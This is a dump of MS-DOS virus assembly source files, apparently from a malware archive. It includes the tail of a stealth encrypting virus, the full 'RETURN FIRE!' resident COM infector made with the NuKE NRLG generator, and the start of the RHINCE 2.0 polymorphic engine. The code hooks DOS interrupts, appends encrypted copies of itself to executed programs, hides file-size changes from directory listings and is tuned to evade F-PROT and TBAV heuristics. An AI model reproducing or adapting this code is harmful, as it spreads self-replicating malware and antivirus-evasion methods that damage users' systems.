|
||||
|
||||
mov bx,word ptr es:[si+16h]
|
||||
and bx,1f1fh
|
||||
cmp bl,bh
|
||||
jne search_pop ;Is our marker set ?
|
||||
|
||||
sub word ptr es:[si+1ah],offset length ;Subtract the file length.
|
||||
sbb word ptr es:[si+1ch],0
|
||||
|
||||
search_pop:
|
||||
|
||||
pop si
|
||||
pop bx
|
||||
pop es
|
||||
clc
|
||||
|
||||
end_search:
|
||||
retf 2 ;This is the same as an IRET
|
||||
;except that the flags aren't popped
|
||||
;off so our Carry Remains set.
|
||||
|
||||
Dir_Stealth:
|
||||
|
||||
;This bit means that wen you do a 'dir' there is no change in
|
||||
;file size.
|
||||
|
||||
pop ax
|
||||
|
||||
call int21h ;Call the interrupt
|
||||
cmp al,0 ;straight off.
|
||||
jne end_of_dir
|
||||
|
||||
push es
|
||||
push ax ;Save em.
|
||||
push bx
|
||||
push si
|
||||
|
||||
mov ah,2fh ;Get DTA address.
|
||||
call int21h
|
||||
|
||||
mov si,bx
|
||||
|
||||
cmp byte ptr es:[si],0ffh ;Extended FCB ?
|
||||
jne not_extended
|
||||
|
||||
add si,7 ;Add the extra's.
|
||||
|
||||
not_extended:
|
||||
|
||||
mov bx,word ptr es:[si+17h] ;Move time.
|
||||
and bx,1f1fh
|
||||
cmp bl,bh
|
||||
jne dir_pop ;Is our marker set ?
|
||||
|
||||
sub word ptr es:[si+1dh],offset length ;Subtract the file length.
|
||||
sbb word ptr es:[si+1fh],0
|
||||
|
||||
dir_pop:
|
||||
|
||||
pop si
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
|
||||
end_of_dir:
|
||||
|
||||
iret
|
||||
|
||||
Get_Date proc near
|
||||
mov ax,5700h ;Get Date/Time.
|
||||
call int21h
|
||||
mov word ptr time,cx
|
||||
mov word ptr date,dx
|
||||
|
||||
ret
|
||||
|
||||
Get_date endp
|
||||
|
||||
Set_Marker proc near
|
||||
|
||||
mov cx,time
|
||||
mov al,ch
|
||||
and al,1fh
|
||||
and cl,0e0h
|
||||
or cl,al
|
||||
mov dx,date
|
||||
mov ax,5701h
|
||||
call int21h
|
||||
|
||||
ret
|
||||
|
||||
Set_marker endp
|
||||
|
||||
Enc_Setup proc near
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
in al,40h
|
||||
mov byte ptr cs:cipher,al
|
||||
|
||||
xor si,si
|
||||
mov di,offset length ;Offset of our buffer.
|
||||
mov cx,offset length ;Virus Length.
|
||||
rep movsb ;Move the virus up in memory for
|
||||
;encryption.
|
||||
|
||||
mov si,offset length + offset enc_start
|
||||
|
||||
call encrypt ;Encrypt virus.
|
||||
|
||||
mov ah,40h ;Write virus to file
|
||||
mov dx,offset length ;Buffer for encrypted virus.
|
||||
mov cx,offset length ;Virus length.
|
||||
call int21h
|
||||
|
||||
call set_marker ;Mark file as infected.
|
||||
|
||||
ret
|
||||
|
||||
Enc_setup endp
|
||||
|
||||
Get_SFT Proc Near
|
||||
;Entry: BX=File Handle.
|
||||
;Exit: ES:DI=SFT.
|
||||
push bx
|
||||
|
||||
mov ax,1220h ;Get Job File Table Entry. The byte pointed
|
||||
int 2fh ;at by ES:[DI] contains the number of the
|
||||
;SFT for the file handle.
|
||||
|
||||
xor bx,bx
|
||||
mov bl,es:[di] ;Get address of System File Table Entry.
|
||||
mov ax,1216h
|
||||
int 2fh
|
||||
|
||||
pop bx
|
||||
|
||||
ret
|
||||
|
||||
Get_SFT EndP
|
||||
|
||||
Zero_All proc near
|
||||
;Zero's everything cept AX.
|
||||
|
||||
xor bx,bx ;Zero BX
|
||||
mov cx,bx
|
||||
mov dx,bx
|
||||
mov di,bx
|
||||
|
||||
ret
|
||||
Zero_All endp
|
||||
|
||||
|
||||
New3 db 0e9h ;The jump for the start of
|
||||
Newoff dw 0 ;COM files.
|
||||
orig_ss dw 0
|
||||
orig_sp dw 0
|
||||
com_exe db 0
|
||||
old3 db 0cdh,20h,90h
|
||||
|
||||
|
||||
|
||||
enc_end: ;Encryption ends here.
|
||||
|
||||
; QaRK's |<-RaD TBSCaN eVaDeR!!!!!111
|
||||
|
||||
; Works every time :)
|
||||
|
||||
encrypt proc near
|
||||
|
||||
;Si = enc_start
|
||||
mov cx,offset enc_end - offset enc_start
|
||||
db 0b0h ;=MOV AL,xx
|
||||
cipher db 0
|
||||
enc_loop:
|
||||
ror al,1
|
||||
neg al
|
||||
xor cs:[si],al ;<--- Whoah! Never guess this was encryption!
|
||||
add al,al
|
||||
inc si
|
||||
loop enc_loop
|
||||
ret
|
||||
|
||||
Encrypt endp
|
||||
|
||||
header db 18h dup (0) ;rewrite this
|
||||
time dw 0 ;restore this
|
||||
date dw 0
|
||||
|
||||
length db 200 dup (0)
|
||||
stack_end:
|
||||
|
443
MSDOS/Virus.MSDOS.Unknown.return-f.asm
Normal file
443
MSDOS/Virus.MSDOS.Unknown.return-f.asm
Normal file
@ -0,0 +1,443 @@
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
|
||||
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
|
||||
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
|
||||
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
|
||||
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
.286
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
|
||||
start: CALL NEXT
|
||||
|
||||
NEXT:
|
||||
mov di,sp ;take the stack pointer location
|
||||
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
|
||||
sub bp,offset next ;subtract the large code off this code
|
||||
;
|
||||
;*******************************************************************
|
||||
; #1 DECRYPT ROUTINE
|
||||
;*******************************************************************
|
||||
|
||||
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
|
||||
je crypt2 ;yes! not decrypt
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt]+ bp ;di = first byte to decrypt
|
||||
mov dx,1 ;dx = value for decrypt
|
||||
;----------------------------------------------------------
|
||||
deci: ;deci = fuck label!
|
||||
;----------------------------------------------------------
|
||||
|
||||
ÿinc word ptr [di]
|
||||
inc byte ptr [di]
|
||||
add word ptr [di],0e6e9h
|
||||
sub byte ptr [di],01fh
|
||||
add byte ptr [di],05fh
|
||||
ÿinc di
|
||||
inc di
|
||||
;----------------------------------------------------------
|
||||
jmp bye ;######## BYE BYE F-PROT ! ##########
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
|
||||
;-----------------------------------------------------------
|
||||
mov ah,0bh ;######### BYE BYE TBAV ! ##########
|
||||
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
|
||||
;----------------------------------------------------------
|
||||
loop deci ;repeat please!
|
||||
;
|
||||
;*****************************************************************
|
||||
; #2 DECRYPT ROUTINE
|
||||
;*****************************************************************
|
||||
;
|
||||
crypt: ;fuck label!
|
||||
;
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt2] + bp ;di = first byte to decrypt
|
||||
;---------------------------------------------------------------
|
||||
deci2: ;
|
||||
xor byte ptr cs:[di],1 ;decrytion rutine
|
||||
inc di ;very simple...
|
||||
loop deci2 ;
|
||||
;---------------------------------------------------------------
|
||||
crypt2: ;fuck label!
|
||||
;
|
||||
MOV AX,0CACAH ;call to my resident interrup mask
|
||||
INT 21H ;for chek "I'm is residet?"
|
||||
CMP Bh,0CAH ;is equal to CACA?
|
||||
JE PUM2 ;yes! jump to runnig program
|
||||
call action
|
||||
;*****************************************************************
|
||||
; NRLG FUNCTIONS (SELECTABLE)
|
||||
;*****************************************************************
|
||||
|
||||
ÿ;****************************************************************
|
||||
; PROCESS TO REMAIN RESIDENT
|
||||
;****************************************************************
|
||||
|
||||
mov ax,3521h
|
||||
int 21h ;store the int 21 vectors
|
||||
mov word ptr [bp+int21],bx ;in cs:int21
|
||||
mov word ptr [bp+int21+2],es ;
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ax ;ax = my actual segment
|
||||
dec ax ;dec my segment for look my MCB
|
||||
mov es,ax ;
|
||||
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop es ;
|
||||
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
|
||||
sub bx,17 + offset fin ;and 100H for the PSP total
|
||||
mov ah,4ah ;used memory
|
||||
int 21h ;put the new value to MCB
|
||||
;---------------------------------------------------------------
|
||||
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
|
||||
mov ah,48h ;
|
||||
int 21h ;request the memory to fuck DOS!
|
||||
;---------------------------------------------------------------
|
||||
dec ax ;ax=new segment
|
||||
mov es,ax ;ax-1= new segment MCB
|
||||
mov byte ptr es:[1],8 ;put '8' in the segment
|
||||
;--------------------------------------------------------------
|
||||
inc ax ;
|
||||
mov es,ax ;es = new segment
|
||||
lea si,[bp + offset start] ;si = start of virus
|
||||
mov di,100h ;di = 100H (psp position)
|
||||
mov cx,offset fin - start ;cx = lag of virus
|
||||
push cs ;
|
||||
pop ds ;ds = cs
|
||||
cld ;mov the code
|
||||
rep movsb ;ds:si >> es:di
|
||||
;--------------------------------------------------------------
|
||||
mov dx,offset virus ;dx = new int21 handler
|
||||
mov ax,2521h ;
|
||||
push es ;
|
||||
pop ds ;
|
||||
int 21h ;set the vectors
|
||||
;-------------------------------------------------------------
|
||||
pum2: ;
|
||||
;
|
||||
mov ah,byte ptr [cs:bp + real] ;restore the 3
|
||||
mov byte ptr cs:[100h],ah ;first bytes
|
||||
mov ax,word ptr [cs:bp + real + 1] ;
|
||||
mov word ptr cs:[101h],ax ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,100h ;
|
||||
jmp ax ;jmp to execute
|
||||
;
|
||||
;*****************************************************************
|
||||
;* HANDLER FOR THE INT 21H
|
||||
;*****************************************************************
|
||||
;
|
||||
VIRUS: ;
|
||||
;
|
||||
cmp ah,4bh ;is a 4b function?
|
||||
je REPRODUCCION ;yes! jump to reproduce !
|
||||
cmp ah,11h
|
||||
je dir
|
||||
cmp ah,12h
|
||||
je dir
|
||||
dirsal:
|
||||
cmp AX,0CACAH ;is ... a caca function? (resident chek)
|
||||
jne a3 ;no! jump to a3
|
||||
mov bh,0cah ;yes! put ca in bh
|
||||
a3: ;
|
||||
JMP dword ptr CS:[INT21] ;jmp to original int 21h
|
||||
ret ;
|
||||
make db '[NuKE] N.R.L.G. AZRAEL'
|
||||
dir:
|
||||
jmp dir_s
|
||||
;-------------------------------------------------------------
|
||||
REPRODUCCION: ;
|
||||
;
|
||||
pushf ;put the register
|
||||
pusha ;in the stack
|
||||
push si ;
|
||||
push di ;
|
||||
push bp ;
|
||||
push es ;
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ax,3524H ;get the dos error control
|
||||
int 21h ;interupt
|
||||
mov word ptr error,es ;and put in cs:error
|
||||
mov word ptr error+2,bx ;
|
||||
mov ax,2524H ;change the dos error control
|
||||
mov dx,offset all ;for my "trap mask"
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the registers
|
||||
pop bp ;
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;-------------------------------------------------------------
|
||||
pushf ;put the registers
|
||||
pusha ;
|
||||
push si ;HEY! AZRAEL IS CRAZY?
|
||||
push di ;PUSH, POP, PUSH, POP
|
||||
push bp ;PLEEEEEAAAAAASEEEEEEEEE
|
||||
push es ;PURIFY THIS SHIT!
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4300h ;
|
||||
int 21h ;get the file
|
||||
mov word ptr cs:[attrib],cx ;atributes
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4301h ;le saco los atributos al
|
||||
xor cx,cx ;file
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,3d02h ;open the file
|
||||
int 21h ;for read/write
|
||||
mov bx,ax ;bx=handle
|
||||
;-------------------------------------------------------------
|
||||
mov ax,5700h ;
|
||||
int 21h ;get the file date
|
||||
mov word ptr cs:[hora],cx ;put the hour
|
||||
mov word ptr cs:[dia],dx ;put the day
|
||||
and cx,word ptr cs:[fecha] ;calculate the seconds
|
||||
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
|
||||
jne seguir ;yes! the file is infected!
|
||||
jmp cerrar ;
|
||||
;------------------------------------------------------------
|
||||
seguir: ;
|
||||
mov ax,4202h ;move the pointer to end
|
||||
call movedor ;of the file
|
||||
;------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
sub ax,3 ;calculate the
|
||||
mov word ptr [cs:largo],ax ;jmp long
|
||||
;-------------------------------------------------------------
|
||||
mov ax,04200h ;move the pointer to
|
||||
call movedor ;start of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;read the 3 first bytes
|
||||
mov ah,3fh ;
|
||||
mov cx,3 ;
|
||||
lea dx,[cs:real] ;put the bytes in cs:[real]
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
|
||||
jne er1 ;yes! is a EXE... fuckkk!
|
||||
;----------------------------------------------------------
|
||||
jmp cerrar
|
||||
er1:
|
||||
;----------------------------------------------------------
|
||||
mov ax,4200h ;move the pointer
|
||||
call movedor ;to start fo file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ah,40h ;
|
||||
mov cx,1 ;write the JMP
|
||||
lea dx,[cs:jump] ;instruccion in the
|
||||
int 21h ;fist byte of the file
|
||||
;----------------------------------------------------------
|
||||
mov ah,40h ;write the value of jmp
|
||||
mov cx,2 ;in the file
|
||||
lea dx,[cs:largo] ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,04202h ;move the pointer to
|
||||
call movedor ;end of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;move the code
|
||||
push cs ;of my virus
|
||||
pop es ;to cs:end+50
|
||||
cld ;for encrypt
|
||||
mov si,100h ;
|
||||
mov di,offset fin + 50 ;
|
||||
mov cx,offset fin - 100h ;
|
||||
rep movsb ;
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
|
||||
enc: ;
|
||||
xor byte ptr cs:[di],1 ;encrypt the virus
|
||||
inc di ;code
|
||||
loop enc ;
|
||||
;---------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
|
||||
mov dx,1
|
||||
enc2: ;
|
||||
|
||||
ÿsub byte ptr [di],05fh
|
||||
add byte ptr [di],01fh
|
||||
sub word ptr [di],0e6e9h
|
||||
dec byte ptr [di]
|
||||
dec word ptr [di]
|
||||
ÿinc di
|
||||
inc di ;the virus code
|
||||
loop enc2 ;
|
||||
;--------------------------------------------
|
||||
mov ah,40h ;
|
||||
mov cx,offset fin - offset start ;copy the virus
|
||||
mov dx,offset fin + 50 ;to end of file
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cerrar: ;
|
||||
;restore the
|
||||
mov ax,5701h ;date and time
|
||||
mov cx,word ptr cs:[hora] ;file
|
||||
mov dx,word ptr cs:[dia] ;
|
||||
or cx,word ptr cs:[fecha] ;and mark the seconds
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ah,3eh ;
|
||||
int 21h ;close the file
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the
|
||||
pop bp ;registers
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
pusha ;
|
||||
;
|
||||
mov ax,4301h ;restores the atributes
|
||||
mov cx,word ptr cs:[attrib] ;of the file
|
||||
int 21h ;
|
||||
;
|
||||
popa ;
|
||||
;----------------------------------------------------------
|
||||
pushf ;
|
||||
pusha ; 8-( = f-prot
|
||||
push si ;
|
||||
push di ; 8-( = tbav
|
||||
push bp ;
|
||||
push es ; 8-) = I'm
|
||||
push ds ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,2524H ;
|
||||
lea bx,error ;restore the
|
||||
mov ds,bx ;errors handler
|
||||
lea bx,error+2 ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;
|
||||
pop bp ;restore the
|
||||
pop di ;resgisters
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
JMP A3 ;jmp to orig. INT 21
|
||||
;
|
||||
;**********************************************************
|
||||
; SUBRUTINES AREA
|
||||
;**********************************************************
|
||||
;
|
||||
movedor: ;
|
||||
;
|
||||
xor cx,cx ;use to move file pointer
|
||||
xor dx,dx ;
|
||||
int 21h ;
|
||||
ret ;
|
||||
;----------------------------------------------------------
|
||||
all: ;
|
||||
;
|
||||
XOR AL,AL ;use to set
|
||||
iret ;error flag
|
||||
|
||||
;***********************************************************
|
||||
; DATA AREA
|
||||
;***********************************************************
|
||||
largo dw ?
|
||||
jump db 0e9h
|
||||
real db 0cdh,20h,0
|
||||
hora dw ?
|
||||
dia dw ?
|
||||
attrib dw ?
|
||||
int21 dd ?
|
||||
error dd ?
|
||||
|
||||
ÿ;---------------------------------
|
||||
action: ;Call label
|
||||
MOV AH,2AH ;
|
||||
INT 21H ;get date
|
||||
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
|
||||
JE cont ;nop! fuck ret
|
||||
cmp byte ptr cs:[action_dia+bp],32 ;
|
||||
jne no_day ;
|
||||
cont: ;
|
||||
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
|
||||
je set ;
|
||||
cmp byte ptr cs:[action_mes+bp],13 ;
|
||||
jne NO_DAY ;nop! fuck ret
|
||||
set: ;
|
||||
mov AH,9 ;yeah!!
|
||||
MOV DX,OFFSET PAO ;print my text!
|
||||
INT 21H ;now!
|
||||
INT 20H ;an finsh te program
|
||||
NO_DAY: ;label to incorrect date
|
||||
ret ;return from call
|
||||
;---------------------------------
|
||||
|
||||
ÿ
|
||||
PAO:
|
||||
DB 10,13,'YOU ARE INFECTED WITH A VIRUS!!! "RETURN FIRE!" ver 2.8 "F-prot cannot survive!!"','$'
|
||||
|
||||
;*****************************************************
|
||||
dir_s:
|
||||
pushf
|
||||
push cs
|
||||
call a3 ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,byte ptr cs:fechad
|
||||
jnz not_infected
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;********************************************************************
|
||||
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
|
||||
;*********************************************************************
|
||||
|
||||
ÿaction_dia Db 07H ;day for the action
|
||||
action_mes Db 04H ;month for the action
|
||||
FECHA DW 01eH ;Secon for mark
|
||||
FECHAd Db 01eH ;Secon for mark dir st
|
||||
fin:
|
||||
code ends
|
||||
end start
|
315
MSDOS/Virus.MSDOS.Unknown.rhince20.asm
Normal file
315
MSDOS/Virus.MSDOS.Unknown.rhince20.asm
Normal file
@ -0,0 +1,315 @@
|
||||
; RHINCE 2.0, by Rhincewind [Vlad]
|
||||
;
|
||||
; This is the accompanying textfile for RHINCE v2.0, where RHINCE stands for
|
||||
; "Rickety and Hardly Insidious yet New Chaos Engine". There's been quite
|
||||
; a lot of feedback on the original release, both positive and negative. The
|
||||
; negative reviews mainly dealt with the engine being so obscenely
|
||||
; ineffective. To you I say, you missed the point: RHINCE was and is an
|
||||
; experiment in writing small polymorphic engines using tables.
|
||||
;
|
||||
; I rewrote RHINCE because I came up with a method that I hoped would make
|
||||
; it much, much shorter, say, under 300 bytes. Not so I'm afraid, the pure
|
||||
; v1.0 rewrite amounted to 367 bytes.
|
||||
;
|
||||
; This version doesn't use encoding routines that use tables. No, it uses
|
||||
; one encoding routine and a set of tables. In almost every engine, the
|
||||
; routines all have a certain structure in common and yet they're never quite
|
||||
; the same so optimisation by using subroutines is difficult. This is an
|
||||
; easier approach:
|
||||
;
|
||||
; Encoding takes place byte for byte, and a tablestring is used to describe
|
||||
; it's specifics. First byte in the string is the commandbyte:
|
||||
;
|
||||
; bit 4 quote next byte.
|
||||
; bit 3 get random choice. next byte is the number of choices,
|
||||
; followed by the choices themselves.
|
||||
; bit 2 next byte is a mask indicating which bits to randomise.
|
||||
; bit 1 next byte is a mask for ANDing, the byte thereafter
|
||||
; is an illegal choice for the masked byte.
|
||||
; bit 0 next byte is a byte displacement used to jump to.
|
||||
; (for table optimisation)
|
||||
;
|
||||
; The commandbyte is followed by the arguments for the bit 4 command if it
|
||||
; was set, then the arguments for bit 3 if it was set, et cetera. It's all
|
||||
; in the code.
|
||||
;
|
||||
; So the original rewrite was finished but the engine's performance was still
|
||||
; approximately zero. Tweaking done:
|
||||
;
|
||||
; ** DAA DAS AAA AAS opcodes removed. flagged by TBAV (@)
|
||||
; ** $+2 flowcontrol removed. flagged by TBAV (G)
|
||||
; JO/JNO branching flagged by TBAV (@)
|
||||
; ** Forced first opcode to not be an flagged by TBAV (G)
|
||||
; opcode needing previous register
|
||||
; contents
|
||||
; ** No longer builds decryptor inside flagged by TBAV (#)
|
||||
; code, but rather on the heap.
|
||||
;
|
||||
; RHINCE v2.0 is almost TBAV heuristics proof. A negligible amount of
|
||||
; samples still gets G flags on pointer references in the first 32 bytes.
|
||||
; Then there is the occasional E, U, t or D flag probably caused
|
||||
; by Thunderbyte interpreting the random byte and word values as code,
|
||||
; i.e. signature scanning.
|
||||
;
|
||||
; Thunderbyte's heuristics are really interesting. The G flag for operations
|
||||
; with uninitialised registers can only be triggered by the first 32 bytes
|
||||
; of code (or so). The $+2 flowcontrol check is active throughout the
|
||||
; program but the check for self-modifying code (which is how it detected
|
||||
; v1.0) is only active in the first 512 bytes.
|
||||
;
|
||||
; Call Parameters: CX length of code to encrypt
|
||||
; DS:DX pointer to code to encrypt
|
||||
; BP offset code will be run at.
|
||||
; Return Parameters: CX length of decryptor+encrypted code.
|
||||
; DS:DX pointer to decryptor.
|
||||
;
|
||||
; Caution:Engine assumes CS=DS=ES. Also as said above, RHINCE v2.0 builds
|
||||
; a decryptor on the heap. Please ensure that the heapspace is there!
|
||||
; In COM infection mind the maximum filelength you can infect. In
|
||||
; EXE infection you should check, and alter if necessary, the
|
||||
; MINALLOC header field. If alteration of MINALLOC was necessary,
|
||||
; see if MAXALLOC>MINALLOC. If not set MAXALLOC==MINALLOC.
|
||||
;
|
||||
; RHINCE v2.0: 377 bytes undiluted polymorphic generation code.
|
||||
; - Rhince.
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
;Below is a small demogenerator. Assemble & run this file as is to generate
|
||||
;an encrypted HELLO.COM file, cut/paste the engine code otherwise.
|
||||
|
||||
start:
|
||||
mov ah,3ch
|
||||
xor cx,cx
|
||||
mov dx, offset file
|
||||
int 21h
|
||||
push ax
|
||||
mov dx, offset prog
|
||||
mov cx, (endprog-prog)
|
||||
mov bp, 100h
|
||||
call mut_eng
|
||||
pop bx
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
mov ah,9
|
||||
mov dx, offset msg
|
||||
int 21h
|
||||
int 20h
|
||||
file db 'hello.com',0
|
||||
msg db 'Run HELLO.COM to decrypt and print a sacred VLAD scripture$'
|
||||
prog: mov ah,9
|
||||
call $+3
|
||||
delta: pop dx
|
||||
add dx, (str-delta)
|
||||
int 21h
|
||||
int 20h
|
||||
str db 'At the word of the dark judges, that word which '
|
||||
db 'tortures the spirit,',0dh,0ah
|
||||
db 'Kantza-Merada, even the goddess, was turned to a '
|
||||
db 'dead body,',0dh,0ah
|
||||
db 'Defiled, polluted, a corpse hangin'' from a stake.'
|
||||
db 0dh,0ah,0dh,0ah
|
||||
db 'Most strangely, Kantza-Merada, are the laws of the '
|
||||
db 'dark world effected.',0dh,0ah
|
||||
db 'O Kantza-Merada, do not question the laws of the '
|
||||
db 'nether world.',0dh,0ah,0dh,0ah
|
||||
db 'The goddess from the great above descended to the '
|
||||
db 'great below.',0dh,0ah
|
||||
db 'To the nether world of darkness she descended.',0dh,0ah
|
||||
db 'The goddess abandoned heaven, abandoned earth,',0dh,0ah
|
||||
db 'Abandoned dominion, abandoned ladyship,',0dh,0ah
|
||||
db 'To the nether world of darkness she descended.$'
|
||||
endprog:
|
||||
|
||||
;------ Engine starts here.
|
||||
|
||||
mut_eng: mov di, offset resulting_code
|
||||
inc cx
|
||||
shr cx,1
|
||||
mov word ptr [di-(resulting_code-cntr)],cx
|
||||
call get_rand
|
||||
mov ah,al
|
||||
call get_rand
|
||||
mov word ptr [di-(resulting_code-seed)],ax
|
||||
push bp
|
||||
push dx
|
||||
call get_rand
|
||||
and ax, 1
|
||||
call do_garbage_manual
|
||||
mov cx, 9
|
||||
genloop: push cx
|
||||
call get_rand
|
||||
and ax,0fh
|
||||
inc ax
|
||||
xchg ax,cx
|
||||
gloop: push cx
|
||||
call do_garbage
|
||||
pop cx
|
||||
loop gloop
|
||||
mov ax, 0c72eh
|
||||
stosw
|
||||
mov al, 06
|
||||
stosb
|
||||
pop cx
|
||||
mov bx,cx
|
||||
add bx,bx
|
||||
mov word ptr ds:[workspace-2+bx],di
|
||||
stosw
|
||||
stosw
|
||||
loop genloop
|
||||
pop si
|
||||
pop bp
|
||||
mov al, 0e9h
|
||||
stosb
|
||||
mov cx, word ptr cntr
|
||||
mov ax,cx
|
||||
add ax,cx
|
||||
stosw
|
||||
add ax, (endframe-framework)
|
||||
neg ax
|
||||
mov jmpback, ax
|
||||
lea bx, [di+bp+(-(offset resulting_code))]
|
||||
mov word ptr ptr, bx
|
||||
cryptloop:
|
||||
lodsw
|
||||
xor ax, word ptr seed
|
||||
stosw
|
||||
loop cryptloop
|
||||
mov dx,di
|
||||
push di
|
||||
mov si, offset framework
|
||||
mov bx, offset resulting_code
|
||||
push bx
|
||||
sub bp,bx
|
||||
mov cx,9
|
||||
fill_loop: dec bx
|
||||
dec bx
|
||||
mov di, word ptr [bx]
|
||||
lea ax, [bp+si+(-(offset framework))]
|
||||
add ax,dx
|
||||
stosw
|
||||
movsw
|
||||
loop fill_loop
|
||||
pop dx
|
||||
pop cx
|
||||
sub cx,dx
|
||||
ret
|
||||
get_rand: in al,40h
|
||||
rol al,1 ;RNG v2.0
|
||||
xor al, 0ffh
|
||||
org $-1
|
||||
Randomize db ?
|
||||
mov randomize,al
|
||||
ret
|
||||
do_garbage: call get_rand
|
||||
and ax, 0fh
|
||||
do_garbage_manual:
|
||||
mov bx,ax
|
||||
mov bl, byte ptr [calltable+bx]
|
||||
xor bh,bh
|
||||
lea bp, [bx+poly]
|
||||
interpret_string:
|
||||
mov si,bp
|
||||
cwd
|
||||
lodsb
|
||||
mov dh,al
|
||||
test dh,16
|
||||
jz dont_quote
|
||||
lodsb
|
||||
mov dl,al
|
||||
dont_quote: test dh,8
|
||||
jz dont_select
|
||||
lodsb
|
||||
cbw
|
||||
xchg ax,cx
|
||||
call get_rand
|
||||
xor ah,ah
|
||||
div cl
|
||||
xchg al,ah
|
||||
cbw
|
||||
xchg ax,bx
|
||||
mov dl, byte ptr ds:[si+bx]
|
||||
add si,cx
|
||||
dont_select: test dh,4
|
||||
jz no_random_masking
|
||||
call get_rand
|
||||
and al, byte ptr ds:[si]
|
||||
or dl,al
|
||||
inc si
|
||||
no_random_masking:
|
||||
test dh,2
|
||||
jz no_illegal
|
||||
lodsb
|
||||
and al,dl
|
||||
inc si
|
||||
cmp al, byte ptr ds:[si-1]
|
||||
jz interpret_string
|
||||
no_illegal: mov bp,si
|
||||
mov al,dl
|
||||
stosb
|
||||
test dh,1
|
||||
jz no_jmp
|
||||
lodsb
|
||||
cbw
|
||||
add bp,ax
|
||||
no_jmp: cmp byte ptr ds:[bp],0
|
||||
jnz interpret_string
|
